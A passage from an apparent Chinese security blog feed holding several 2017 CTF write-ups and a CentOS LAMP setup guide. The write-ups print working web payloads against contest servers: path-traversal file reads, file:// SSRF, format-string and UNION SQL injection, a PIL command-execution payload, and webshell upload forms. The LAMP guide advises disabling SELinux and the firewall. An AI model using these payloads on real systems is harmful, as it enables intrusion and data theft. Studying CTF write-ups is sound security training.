Intruder无限GET member.php</span><br><span class="line">3.在前面两个都在跑的情况下注册一个账号</span><br></pre></td></tr></table></figure><br>要注意的是三个操作的cookie必须相同,1和3中的账号密码要相同,这样在注册的同时就完成了登录操作并且访问了member并绕过身份检测可以执行下一部分代码<br>emmmmmmmm,看了操作和flag的内容,感觉我用了非预期解,预期解应该是通过输入超长的<code>xdsec###</code>开头的字符串让regiest.php中的正则匹配函数崩溃,从而无法注入用户GUEST身份,后面的就都一样了</p>
<h2 id="0x02文件包含读取config-php"><a href="#0x02文件包含读取config-php" class="headerlink" title="0x02文件包含读取config.php"></a>0x02文件包含读取config.php</h2><p>关键代码如下<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'file'</span>])===<span class="keyword">false</span>)</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"None"</span>;</span><br><span class="line"><span class="keyword">elseif</span>(is_file($_GET[<span class="string">'file'</span>]))</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"you cannot give me a file"</span>;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> readfile($_GET[<span class="string">'file'</span>]);</span><br></pre></td></tr></table></figure><br>这里构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=./x/../config.php</span><br></pre></td></tr></table></figure><br>因为x文件夹不存在,所以就能绕过<code>is_file()</code>读取到<code>config.php</code>,flag就在里面<br><img src="/img/2017lctf6.png" alt=""></p>
<h1 id="签到题"><a href="#签到题" class="headerlink" title="签到题"></a>签到题</h1><p>这是一个拼手速抢邀请码的题<br><a href="http://211.159.161.162/test.php" target="_blank" rel="noopener">http://211.159.161.162/test.php</a><br>hint: 本地</p>
<p>这道题相对没前面的复杂,fuzz发现只能提交<code>协议名://www.baidu.com</code>这样的值,否则error<br>构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?site=file://www.baidu.com/etc/passwd%23</span><br></pre></td></tr></table></figure><br>成功读取<code>/etc/passwd</code>,发现lctf用户,再用相同方法读取<code>/home/lctf/flag</code>得到flag<br><img src="/img/2017lctf3.png" alt=""></p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>周末打了两天还是学到了很多骚操作,但是没有逆向和pwn的分数所以分数差很多,最后还是膜一下各位大佬们~</p>
]]></content>
<summary type="html">
<p>周末刚刚结束的LCTF,我们队一共做出了4道web,一道misc还有一道问卷调查(好气啊没抢到一血换pwnhub邀请码),感谢<code>吃饭去</code>大佬带飞~<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="注入" scheme="https://www.codemonster.cn/tags/%E6%B3%A8%E5%85%A5/"/>
<category term="Misc" scheme="https://www.codemonster.cn/tags/Misc/"/>
<category term="Web" scheme="https://www.codemonster.cn/tags/Web/"/>
<category term="CBC字节翻转攻击" scheme="https://www.codemonster.cn/tags/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/"/>
<category term="Padding oracle攻击" scheme="https://www.codemonster.cn/tags/Padding-oracle%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>Centos7搭建LAMP环境</title>
<link href="https://www.codemonster.cn/2017/11/16/lamp-creat/"/>
<id>https://www.codemonster.cn/2017/11/16/lamp-creat/</id>
<published>2017-11-16T14:40:09.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>很久之前帮老师写的LAMP(linux+apache+mysql+php)教程,自己也用这个方法配了好多台服务器,发到博客记录一下,也希望能给大家带来一些帮助。<br><a id="more"></a></p>
<h1 id="更新yum"><a href="#更新yum" class="headerlink" title="更新yum"></a>更新yum</h1><p>以全新centos7系统为例子(确保自己拥有root权限)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum update</span><br></pre></td></tr></table></figure></p>
<h1 id="PHP5-6安装"><a href="#PHP5-6安装" class="headerlink" title="PHP5.6安装"></a>PHP5.6安装</h1><h2 id="1、百度搜索webtatic-根据系统版本号选择yum源并安装"><a href="#1、百度搜索webtatic-根据系统版本号选择yum源并安装" class="headerlink" title="1、百度搜索webtatic 根据系统版本号选择yum源并安装"></a>1、百度搜索webtatic 根据系统版本号选择yum源并安装</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://webtatic.com/packages/php56/</span><br></pre></td></tr></table></figure>
<p>这里我选择了centos7的<code>php56</code>版本<br>运行如下语句<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm</span><br><span class="line">rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm</span><br></pre></td></tr></table></figure></p>
<h2 id="2、安装php及其拓展"><a href="#2、安装php及其拓展" class="headerlink" title="2、安装php及其拓展"></a>2、安装php及其拓展</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yum install php56w</span><br><span class="line">yum install php56w-devel</span><br><span class="line">yum install php56w-mysqli</span><br><span class="line">yum install php56w-mbstring</span><br><span class="line">yum install php56w-gd</span><br><span class="line">yum install php56w-xmlwriter</span><br></pre></td></tr></table></figure>
<p>一路按Y同意安装<br>以上安装会<code>默认执行编译安装Apache</code><br>若不确定自己服务器重使用了什么php拓展,请执行<code>yum install php56w*</code></p>
<h1 id="Apache-配置"><a href="#Apache-配置" class="headerlink" title="Apache 配置"></a>Apache 配置</h1><p>进入<code>/etc/httpd/conf.d</code>目录下,删除除<code>php.conf</code>以外文件<br>然后进行虚拟主机配置<br>在<code>/etc/httpd/conf.d/</code>目录新建任意一个conf文件,如<code>test.conf</code><br>创建的.conf文件内容如下,后续绑定域名什么的也是在这里<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">VirtualHost</span> *<span class="attr">:80</span>></span></span><br><span class="line"> ServerName 127.0.0.1:80 </span><br><span class="line"> DocumentRoot /work/WEBROOT/default/</span><br><span class="line"> ErrorLog /work/log/default_error.log</span><br><span class="line"> CustomLog /work/log/default_access.log combined</span><br><span class="line"> <span class="tag"><<span class="name">Directory</span> "/<span class="attr">work</span>/<span class="attr">WEBROOT</span>/<span class="attr">default</span>"></span></span><br><span class="line"> AllowOverride All</span><br><span class="line"> Order allow,deny</span><br><span class="line"> Require all granted</span><br><span class="line"> Allow from all</span><br><span class="line"> <span class="tag"></<span class="name">Directory</span>></span></span><br><span class="line"><span class="tag"></<span class="name">VirtualHost</span>></span></span><br></pre></td></tr></table></figure><br>并根据实际情况建立web目录,如<code>/work/</code><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /work/WEBROOT/default -p</span><br><span class="line">mkdir /work/log/default -p</span><br></pre></td></tr></table></figure><br>并将网站文件放入<code>/work/WEBROOT/default/</code><br> 请确保web目录所属用户和所属用户组为<code>apache</code>,可用<code>chown</code>与<code>chgrp</code>命令更改<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chown apache /work -R</span><br><span class="line">chgrp apache /work -R</span><br></pre></td></tr></table></figure></p>
<p>服务启动前,请确保防火墙对apache为开放权限,若不想配置防火墙策略,<br>请关闭selinux 与firewalld.service<br>分别为<br>修改<code>/etc/selinux/config</code>文件中设置<code>SELINUX=disabled</code> ,然后重启服务器。<br>和<code>systemctl disable firewalld</code><br>执行后请重启服务器</p>
<p>启动服务<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start httpd.service</span><br></pre></td></tr></table></figure><br>加入开机启动<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable httpd.service</span><br></pre></td></tr></table></figure></p>
<h1 id="Mysql配置"><a href="#Mysql配置" class="headerlink" title="Mysql配置"></a>Mysql配置</h1><p>先安装带有可用的mysql5系列社区版资源的rpm包<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rpm -Uvh http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm</span><br></pre></td></tr></table></figure><br>查看当前可用的mysql安装资源<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum repolist enabled | grep "mysql.*-community.*"</span><br></pre></td></tr></table></figure><br>直接使用yum的方式安装MySQL<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum -y install mysql-community-server #这一步很慢</span><br></pre></td></tr></table></figure><br>加入开机启动<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable mysqld</span><br></pre></td></tr></table></figure><br>启动服务<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start mysqld</span><br></pre></td></tr></table></figure><br>初始化(重置密码,删除匿名用户,远程登录配置等)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql_secure_installation</span><br></pre></td></tr></table></figure><br>登录数据库<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql -uroot -p</span><br></pre></td></tr></table></figure><br>选择数据库<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use database;</span><br></pre></td></tr></table></figure><br>导入sql<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">source /work/xxx.sql</span><br></pre></td></tr></table></figure></p>
<h1 id="配置网站数据库信息"><a href="#配置网站数据库信息" class="headerlink" title="配置网站数据库信息"></a>配置网站数据库信息</h1><p>根据要搭建的网站来配置</p>
]]></content>
<summary type="html">
<p>很久之前帮老师写的LAMP(linux+apache+mysql+php)教程,自己也用这个方法配了好多台服务器,发到博客记录一下,也希望能给大家带来一些帮助。<br>
</summary>
<category term="运维" scheme="https://www.codemonster.cn/tags/%E8%BF%90%E7%BB%B4/"/>
<category term="LAMP" scheme="https://www.codemonster.cn/tags/LAMP/"/>
</entry>
<entry>
<title>2017 第三届福建省高校网络空间安全大赛 WriteUp</title>
<link href="https://www.codemonster.cn/2017/10/31/2017-3th-fjwlkjaqds-writeup/"/>
<id>https://www.codemonster.cn/2017/10/31/2017-3th-fjwlkjaqds-writeup/</id>
<published>2017-10-31T14:15:27.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>10月27参加的省赛,今年难度较之去年提高了不少,最终拿到了一等奖,算是比较满意了,但是AWD场打的还是不够好,还需要不断学习,WriteUp如下(后续会补上赛后做出的题):<br><a id="more"></a></p>
<h1 id="上午CTF场"><a href="#上午CTF场" class="headerlink" title="上午CTF场"></a>上午CTF场</h1><h2 id="要想会,先学会"><a href="#要想会,先学会" class="headerlink" title="要想会,先学会"></a>要想会,先学会</h2><p>官方提示<code>ping</code>,在流量包文件中找<code>icmp协议</code>,<br><img src="/img/2017byb1.png" alt=""><br>按照时间排序,得到一串奇怪的东西,转ascii有很多字符不可见,猜测是有一些偏移,于是写了个py脚本暴力所以可能的偏移,得到flag<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line">a=[<span class="number">144</span>,<span class="number">150</span>,<span class="number">150</span>,<span class="number">139</span>,<span class="number">145</span>,<span class="number">165</span>,<span class="number">120</span>,<span class="number">139</span>,<span class="number">91</span>,<span class="number">160</span>,<span class="number">93</span>,<span class="number">167</span>,<span class="number">70</span>]</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">-50</span>,<span class="number">50</span>):</span><br><span class="line"> flag=<span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> a:</span><br><span class="line"> flag+=chr(i+j)</span><br><span class="line"> <span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure><br><img src="/img/2017byb2.png" alt=""></p>
<h2 id="upload"><a href="#upload" class="headerlink" title="upload"></a>upload</h2><p>上传题,限制了后缀,burp抓包,<code>%00截断</code>上传网马,菜刀连接,在config里找到数据库配置,在数据库中找到flag,手快一血</p>
<h2 id="sqli"><a href="#sqli" class="headerlink" title="sqli"></a>sqli</h2><p>Fuzz的时候发现%25会报错<code>sprintf</code>,就猜测是格式化漏洞,但是没有网查资料,后来官方的提示竟然直接给了payload:<br>使用了两次sprintf导致格式化字符串漏洞(可构造<code>admin%1$' and 1=1#</code>与<code>admin%1$' and 1=2#</code>),sql盲注,flag在flag表flag列,flag的字符集为0123456789abcdeflg{}-<br>脚本撸出来单线程太慢,于是用burpsuite一个一个字符爆破的<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin%1$' and (ascii(mid((select flag from flag limit 1),{0},1))={1})#</span><br></pre></td></tr></table></figure></p>
<h1 id="AWD"><a href="#AWD" class="headerlink" title="AWD"></a>AWD</h1><p>给了两个靶机,一个web,一个pwn,到最后pwn也没人做出来<br>Web大致有两个利用方向,一个是common目录下的home.php存在反序列化漏洞,<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$a=@$_POST[<span class="string">'a'</span>];</span><br><span class="line">@unserialize($a);</span><br></pre></td></tr></table></figure><br>因为对这块不熟所以没利用成功,又翻啊翻,在lib/User.php 里发现了上传部分的逻辑<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">upload</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_SESSION[<span class="string">'username'</span>]) <span class="keyword">and</span> $_SESSION[<span class="string">'username'</span>]===<span class="string">"admin"</span>){</span><br><span class="line"> <span class="keyword">include_once</span> <span class="keyword">__DIR__</span>.<span class="string">"/File.php"</span>;</span><br><span class="line"> $up=<span class="keyword">new</span> File();</span><br><span class="line"> <span class="keyword">if</span>($up->save()){</span><br><span class="line"> <span class="keyword">$this</span>->tp->display(<span class="string">"success.tpl"</span>);</span><br><span class="line"> } </span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">$this</span>->tp->display(<span class="string">"error.tpl"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">logout</span><span class="params">()</span></span>{</span><br><span class="line"> $_SESSION=<span class="keyword">array</span>();</span><br><span class="line"> session_destroy();</span><br><span class="line"> header(<span class="string">"location: ./index.php"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">updatepass</span><span class="params">()</span></span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>($_POST[<span class="string">'username'</span>]) <span class="keyword">and</span> !<span class="keyword">empty</span>($_POST[<span class="string">'password'</span>])){</span><br><span class="line"> $username=addslashes($_POST[<span class="string">'username'</span>]);</span><br><span class="line"> $password=md5($_POST[<span class="string">'password'</span>]);</span><br><span class="line"> $sql=<span class="string">"update user set password='$password' where username='$username' "</span>;</span><br><span class="line"> <span class="keyword">if</span> (mysql_query($sql)){</span><br><span class="line"> <span class="keyword">$this</span>->tp->display(<span class="string">"success.tpl"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><br>重点在<code>upload函数</code>和<code>updatepass函数</code>,upload限制了只有<code>admin</code>账号才能上传文件,而updatepass可以<code>修改任意用户密码</code>,这里就有了思路</p>
<ol>
<li>通过updatepass函数<code>修改admin密码</code></li>
<li>登录admin账号<code>上传shell</code>(shell的后缀要大小写绕过黑名单限制)</li>
<li>通过shell<code>读取flag并提交</code></li>
</ol>
<p>思路很清晰,然而脚本是个大问题,登录上传弄得手忙脚乱,前期很长一段时间全靠队友手动传shell,提交flag,脚本憋出来后大部分人都修复漏洞了,就很难受,最后基本是打npc和其他几个队,需要好好反思,权限维持这一块没弄,就在一台电脑试验了一下,准备好的代码提交框架也没用上,总之AWD还是很刺激的,最终的成绩也满理想,就是一等的奖金缩水了有点扎心。</p>
<p>比赛界面如下<br><img src="/img/2017byb3.png" alt=""></p>
]]></content>
<summary type="html">
<p>10月27参加的省赛,今年难度较之去年提高了不少,最终拿到了一等奖,算是比较满意了,但是AWD场打的还是不够好,还需要不断学习,WriteUp如下(后续会补上赛后做出的题):<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="AWD" scheme="https://www.codemonster.cn/tags/AWD/"/>
</entry>
<entry>
<title>2017 全国大学生软件测试大赛web安全赛分区决赛 WriteUp</title>
<link href="https://www.codemonster.cn/2017/10/24/2017-mooctest-second-writeup/"/>
<id>https://www.codemonster.cn/2017/10/24/2017-mooctest-second-writeup/</id>
<published>2017-10-24T05:40:13.000Z</published>
<updated>2018-07-28T06:19:37.000Z</updated>
<content type="html"><![CDATA[<p>周末去广州水了一波,比赛的时候做出来7道题,赛后补上2、3两题,下面是前9题的WriteUp,期待大佬的第10题WriteUp<br><a id="more"></a></p>
<h2 id="1-host"><a href="#1-host" class="headerlink" title="1.host"></a>1.host</h2><p>在burpsuite中修改host为<code>www.mooctest.net</code><br><img src="/img/2017-mooctest-sec-1.png" alt=""></p>
<h2 id="2-Babyupload"><a href="#2-Babyupload" class="headerlink" title="2.Babyupload"></a>2.Babyupload</h2><p>扫描得到upload.php,本地构造upload.html<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><meta charset=<span class="string">"utf-8"</span>></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"></span><br><span class="line"><form action=<span class="string">"http://114.55.36.69:46012/upload.php"</span> method=<span class="string">"post"</span> enctype=<span class="string">"multipart/form-data"</span>></span><br><span class="line"> <label <span class="keyword">for</span>=<span class="string">"upfile"</span>>文件名:</label></span><br><span class="line"> <input type=<span class="string">"file"</span> name=<span class="string">"upfile"</span> id=<span class="string">"file"</span>><br></span><br><span class="line"> <input type=<span class="string">"submit"</span> name=<span class="string">"submit"</span> value=<span class="string">"提交"</span>></span><br><span class="line"></form></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><br>比赛的时候死活猜不出文件参数名,file、upload、uploadfile都试过,赛后经大佬提醒才知道是<code>upfile</code><br>也可以直接用curl上传文件,学到了<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://114.55.36.69:46012/upload.php -F "upfile=@x.php"</span><br></pre></td></tr></table></figure><br>上传后菜刀连接,查看web目录下的flag.php拿到flag<br><img src="/img/2017-mooctest-sec-2.png" alt=""></p>
<h2 id="3-curl"><a href="#3-curl" class="headerlink" title="3.curl"></a>3.curl</h2><p>过滤了<code>file:</code>后面的<code>/</code>,把<code>/</code>转成<code>0x2f</code><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://114.55.36.69:46013/index.php?url=file:0x2f0x2f/var/www/html/index.php</span><br></pre></td></tr></table></figure><br><img src="/img/2017-mooctest-sec-3.png" alt=""></p>
<h2 id="4-war"><a href="#4-war" class="headerlink" title="4.war"></a>4.war</h2><p>根据题目提示,下载trick-or-treat.war<br><img src="/img/2017-mooctest-sec-4.png" alt=""></p>
<h2 id="5-readme2"><a href="#5-readme2" class="headerlink" title="5.readme2"></a>5.readme2</h2><p>在js文件里发现<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://114.55.36.69:46015/test/show.do?page=help.jsp</span><br></pre></td></tr></table></figure><br>猜测是任意文件读取,读取javaweb工程的<code>WEB-INF/web.xml</code>文件<br><img src="/img/2017-mooctest-sec-5.png" alt=""><br>接着读取<code>WEB-INF/properties/configInfo.properties</code><br><img src="/img/2017-mooctest-sec-6.png" alt=""><br>发现<code>key.jsp</code>,读取<code>key.jsp</code><br><img src="/img/2017-mooctest-sec-7.png" alt=""></p>
<h2 id="6-source-ip"><a href="#6-source-ip" class="headerlink" title="6.source ip"></a>6.source ip</h2><p>去fofa搜标题,试了三四个就试出来了,听说还有发邮件姿势更优雅<br><img src="/img/2017-mooctest-sec-8.png" alt=""></p>
<h2 id="7-hackedsite"><a href="#7-hackedsite" class="headerlink" title="7.hackedsite"></a>7.hackedsite</h2><p>扫描得到<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://118.178.18.181:46017/upload/phpspy.php</span><br></pre></td></tr></table></figure><br>百度搜索phpspy得到密码<code>angle</code>,连接大马拿到flag<br><img src="/img/2017-mooctest-sec-9.png" alt=""></p>
<h2 id="8-babysql3"><a href="#8-babysql3" class="headerlink" title="8.babysql3"></a>8.babysql3</h2><p>name字段存在注入,构造<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keyname=1&name=name` union select 1,2,flag from flag %23</span><br></pre></td></tr></table></figure><br><img src="/img/2017-mooctest-sec-10.png" alt=""></p>
<h2 id="9-snake"><a href="#9-snake" class="headerlink" title="9.snake"></a>9.snake</h2><p>提示了<code>PIL-RCE</code><br>参考<a href="https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability.md" target="_blank" rel="noopener">https://github.com/neargle/PIL-RCE-By-GhostButt/blob/master/Exploiting-Python-PIL-Module-Command-Execution-Vulnerability.md</a><br>构造poc文件中的代码为<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(%pipe%cat /var/www/Flask/flag > tmp/fffffff.png)</span><br></pre></td></tr></table></figure><br>上传得到flag<br><img src="/img/2017-mooctest-sec-11.png" alt=""></p>
<h2 id="10-thinkphp5"><a href="#10-thinkphp5" class="headerlink" title="10.thinkphp5"></a>10.thinkphp5</h2><p>无</p>
]]></content>
<summary type="html">
<p>周末去广州水了一波,比赛的时候做出来7道题,赛后补上2、3两题,下面是前9题的WriteUp,期待大佬的第10题WriteUp<br>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
</entry>
<entry>
<title>2017 全国大学生软件测试大赛web安全赛预赛 WriteUp</title>
<link href="https://www.codemonster.cn/2017/10/23/2017-mooctest-first-writeup/"/>
<id>https://www.codemonster.cn/2017/10/23/2017-mooctest-first-writeup/</id>
<published>2017-10-23T12:20:13.000Z</published>
<updated>2018-05-04T07:47:50.000Z</updated>
<content type="html"><![CDATA[<p>其实就是慕测安恒杯<br>6月18日的夏季预赛线上赛,9月22日更新babysql,10月12日更新findpwd、服务发现、babylogin<br>10月23更新秋季预赛题目<br><a id="more"></a></p>
<h1 id="夏季预赛"><a href="#夏季预赛" class="headerlink" title="夏季预赛"></a>夏季预赛</h1><h2 id="根据ip查dns解析记录"><a href="#根据ip查dns解析记录" class="headerlink" title="根据ip查dns解析记录"></a>根据ip查dns解析记录</h2><p>题目原意是让我们用cmd的nslookup命令,我直接上dns反查网站查的</p>
<p>到这个网站查dns解析<a href="https://www.boip.net/ipv4/" target="_blank" rel="noopener">https://www.boip.net/ipv4/</a></p>
<p>flag为<code>this-is-flag</code></p>
<h2 id="编辑器泄露"><a href="#编辑器泄露" class="headerlink" title="编辑器泄露"></a>编辑器泄露</h2><p>题目提示编辑器泄露,fuzz后下载到了<code>login.php.swp</code>,用<code>vim -r login.php.swp</code>恢复得到源码,看到明文账号密码,<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($userin==<span class="string">"admin94wo"</span>)</span><br><span class="line"><span class="keyword">if</span>($passin==<span class="string">"ca1buda0mima7ah4ha"</span>)</span><br></pre></td></tr></table></figure><br>用账号密码登录login.php得到flag,<code>flag{b4ckup_1s_normal}</code></p>
<h2 id="babywaf"><a href="#babywaf" class="headerlink" title="babywaf"></a>babywaf</h2><p>fuzz后发现 < 被过滤了,构造post file=.<./.<./.<./.<./.<./flag 提交得到flag,<code>flag{To0_young_2_simple!}</code></p>
<h2 id="综合渗透"><a href="#综合渗透" class="headerlink" title="综合渗透"></a>综合渗透</h2><p>题目提示让我们复现exp,该站用的是<code>finecms</code></p>
<p>百度得到此cms的一个上传漏洞,构造html文件如下,上传一个<code>phtml</code>后缀的一句话上去,菜刀连接在<code>/flag</code>得到flag,<code>flag{o1d_bug_t0_send_point!}</code></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE <span class="meta-keyword">html</span>></span></span><br><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">”utf-8″</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span>Finecms ajaxswfupload exp<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">form</span> <span class="attr">action</span>=<span class="string">”http://114.55.88.132:20580/index.php?c</span>=<span class="string">attachment&a</span>=<span class="string">ajaxswfupload”</span> <span class="attr">method</span>=<span class="string">”POST”</span> <span class="attr">enctype</span>=<span class="string">”multipart/form-data”</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">”file”</span> <span class="attr">name</span>=<span class="string">”Filedata”</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">”hidden”</span> <span class="attr">name</span>=<span class="string">”type”</span> <span class="attr">value</span>=<span class="string">”phtml”</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">”hidden”</span> <span class="attr">name</span>=<span class="string">”size”</span> <span class="attr">value</span>=<span class="string">”100″</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">”submit”</span> <span class="attr">name</span>=<span class="string">”submit”</span> <span class="attr">value</span>=<span class="string">”上传文件”</span>></span></span><br><span class="line"> <span 